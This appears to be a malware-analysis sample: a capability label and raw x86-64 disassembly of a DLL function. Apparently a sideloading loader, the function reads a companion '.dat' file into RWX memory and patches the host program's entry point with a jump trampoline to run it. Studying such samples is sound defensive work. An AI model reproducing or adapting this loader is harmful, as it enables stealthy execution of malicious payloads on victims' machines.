Function at 0x180001150
Capabilities:
Allocate or change rwx memory

Disassembly:
mov qword [rsp + 0x18], r8
mov dword [rsp + 0x10], edx
mov qword [rsp + 8], rcx
sub rsp, 0x8b8
cmp dword [rsp + 0x8c8], 1
jne 0x18000145a
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov qword [rsp + 0x68], rax
mov qword [rsp + 0x58], 0
jmp 0x180001196
mov rax, qword [rsp + 0x58]
inc rax
mov qword [rsp + 0x58], rax
cmp qword [rsp + 0x58], 0x800
jae 0x1800011b0
mov rax, qword [rsp + 0x58]
mov byte [rsp + rax + 0xb0], 0
jmp 0x180001189
mov r8d, 0x7ff
lea rdx, [rsp + 0xb0]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
lea rax, [rsp + 0xb0]
mov qword [rsp + 0x80], rax
mov qword [rsp + 0x60], 0xffffffffffffffff
inc qword [rsp + 0x60]
mov rax, qword [rsp + 0x80]
mov rcx, qword [rsp + 0x60]
cmp byte [rax + rcx], 0
jne 0x1800011df
mov rax, qword [rsp + 0x60]
mov dword [rsp + 0x50], eax
mov eax, dword [rsp + 0x50]
sub eax, 3
cdqe
mov byte [rsp + rax + 0xb0], 0x64
mov eax, dword [rsp + 0x50]
sub eax, 2
cdqe
mov byte [rsp + rax + 0xb0], 0x61
mov eax, dword [rsp + 0x50]
dec eax
cdqe
mov byte [rsp + rax + 0xb0], 0x74
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov r9d, 0x18
lea r8, [rsp + 0x98]
mov rdx, rax
mov rcx, qword [rsp + 0x68]
call qword [sym.imp.KERNEL32.dll_K32GetModuleInformation]
lea rcx, [rsp + 0xb0]
call fcn.1800010c0
mov dword [rsp + 0x54], eax
mov eax, dword [rsp + 0x54]
mov qword [rsp + 0x88], rax
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov rcx, qword [rsp + 0x88]
mov r8, rcx
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
mov qword [rsp + 0x70], rax
mov rdx, qword [rsp + 0x70]
lea rcx, [rsp + 0xb0]
call fcn.180001010
mov eax, dword [rsp + 0x54]
mov dword [rsp + 0x20], 0x40
mov r9d, 0x3000
mov r8d, eax
xor edx, edx
mov rcx, qword [rsp + 0x68]
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov qword [rsp + 0x78], rax
mov dword [rsp + 0x30], 0
jmp 0x1800012e1
mov eax, dword [rsp + 0x30]
inc eax
mov dword [rsp + 0x30], eax
mov eax, dword [rsp + 0x54]
cmp dword [rsp + 0x30], eax
jae 0x180001309
movsxd rax, dword [rsp + 0x30]
movsxd rcx, dword [rsp + 0x30]
mov rdx, qword [rsp + 0x78]
mov r8, qword [rsp + 0x70]
movzx eax, byte [r8 + rax]
mov byte [rdx + rcx], al
jmp 0x1800012d7
mov eax, 1
imul rax, rax, 0
mov byte [rsp + rax + 0x40], 0x48
mov eax, 1
imul rax, rax, 1
mov byte [rsp + rax + 0x40], 0xb8
mov rax, qword [rsp + 0x78]
mov qword [rsp + 0x38], rax
mov eax, 1
imul rax, rax, 0
mov ecx, 1
imul rcx, rcx, 2
movzx eax, byte [rsp + rax + 0x38]
mov byte [rsp + rcx + 0x40], al
mov eax, 1
imul rax, rax, 1
mov ecx, 1
imul rcx, rcx, 3
movzx eax, byte [rsp + rax + 0x38]
mov byte [rsp + rcx + 0x40], al
mov eax, 1
imul rax, rax, 2
mov ecx, 1
imul rcx, rcx, 4
movzx eax, byte [rsp + rax + 0x38]
mov byte [rsp + rcx + 0x40], al
mov eax, 1
imul rax, rax, 3
mov ecx, 1
imul rcx, rcx, 5
movzx eax, byte [rsp + rax + 0x38]
mov byte [rsp + rcx + 0x40], al
mov eax, 1
imul rax, rax, 4
mov ecx, 1
imul rcx, rcx, 6
movzx eax, byte [rsp + rax + 0x38]
mov byte [rsp + rcx + 0x40], al
mov eax, 1
imul rax, rax, 5
mov ecx, 1
imul rcx, rcx, 7
movzx eax, byte [rsp + rax + 0x38]
mov byte [rsp + rcx + 0x40], al
mov eax, 1
imul rax, rax, 6
mov ecx, 1
imul rcx, rcx, 8
movzx eax, byte [rsp + rax + 0x38]
mov byte [rsp + rcx + 0x40], al
mov eax, 1
imul rax, rax, 7
mov ecx, 1
imul rcx, rcx, 9
movzx eax, byte [rsp + rax + 0x38]
mov byte [rsp + rcx + 0x40], al
mov eax, 1
imul rax, rax, 0xa
mov byte [rsp + rax + 0x40], 0xff
mov eax, 1
imul rax, rax, 0xb
mov byte [rsp + rax + 0x40], 0xe0
mov rax, qword [rsp + 0xa8]
mov qword [rsp + 0x90], rax
mov qword [rsp + 0x20], 0
mov r9d, 0xc
lea r8, [rsp + 0x40]
mov rdx, qword [rsp + 0xa8]
mov rcx, qword [rsp + 0x68]
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
mov eax, 1
add rsp, 0x8b8
ret